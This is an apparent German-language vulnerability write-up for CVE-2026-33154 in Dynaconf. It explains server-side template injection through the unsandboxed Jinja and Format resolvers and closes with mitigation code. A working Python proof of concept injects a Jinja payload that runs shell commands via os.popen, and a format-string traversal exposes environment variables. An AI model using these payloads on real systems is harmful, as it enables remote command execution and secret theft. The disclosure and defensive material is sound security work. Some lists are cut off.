
Proof-of-Concept-Exploit für CVE-2026-33154, der Remote-Code-Ausführung über SSTI im Jinja-Resolver von Dynaconf demonstriert, mit Analyse- und Minderungsanleitung.
Dynaconf ist anfällig für Server-Side Template Injection (SSTI) aufgrund unsicherer Template-Auswertung im __@Jinja__-Resolver. Wenn das Paket jinja2 installiert ist, wertet Dynaconf in Konfigurationswerten eingebettete Template-Ausdrücke ohne eine Sandbox-Umgebung aus.
Wenn ein Angreifer Konfigurationsquellen wie folgende beeinflussen kann:
.env-Dateien...kann er beliebige Betriebssystembefehle auf dem Hostsystem ausführen. Darüber hinaus ermöglicht der __@Format__-Resolver eine Traversierung des Objektgraphen, die sensible Laufzeitobjekte und Umgebungsvariablen offenlegen kann.
Die Schwachstelle entsteht, weil den String-Resolvern von Dynaconf angemessene Sicherheitsgrenzen fehlen.
__@Jinja__Der __@Jinja__-Resolver rendert Templates mit vollständiger Jinja2-Auswertung. Der Rendering-Kontext ist jedoch nicht in einer Sandbox gekapselt, was Angreifern den Zugriff auf Pythons interne Attribute ermöglicht. Mithilfe von Objekten wie cycler können Angreifer Pythons Globals erreichen und das os-Modul importieren.
Beispiel-Angriffspfad:
cycler → __init__ → __globals__ → os → popen()
Dies führt zu beliebiger Befehlsausführung.
__@Format__-ResolverDer __@Format__-Resolver führt eine Python-String-Formatierung mithilfe interner Objekte durch. Dies ermöglicht Angreifern, Pythons Objektgraphen zu durchlaufen und auf sensible Laufzeitobjekte zuzugreifen.
Beispiel-Traversierung:
{this.__class__.__init__.__globals__[os].environ}
Dies kann Folgendes offenlegen:
import os
from dynaconf import Dynaconf
# Bösartige Konfigurationsinjektion
os.environ["DYNACONF_RCE"] = "@jinja {{ cycler.__init__.__globals__.os.popen('id').read() }}"
settings = Dynaconf()
print("[!] Ergebnis der Befehlsausführung:")
print(settings.RCE)
Eine erfolgreiche Ausnutzung ermöglicht Angreifern:
Da Konfigurationswerte aus CI/CD-Pipelines, Container-Orchestrierungssystemen oder Umgebungsinjektionen stammen können, kann diese Schwachstelle in realen Bereitstellungen remote ausnutzbar werden.
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
template = env.from_string("{{ config_value }}")
safe_value = template.render(config_value=user_input)
__@Format__-Verwendung auf vertrauenswürdige Werte beschränkensafe_value = "{name}".format(name=trusted_name)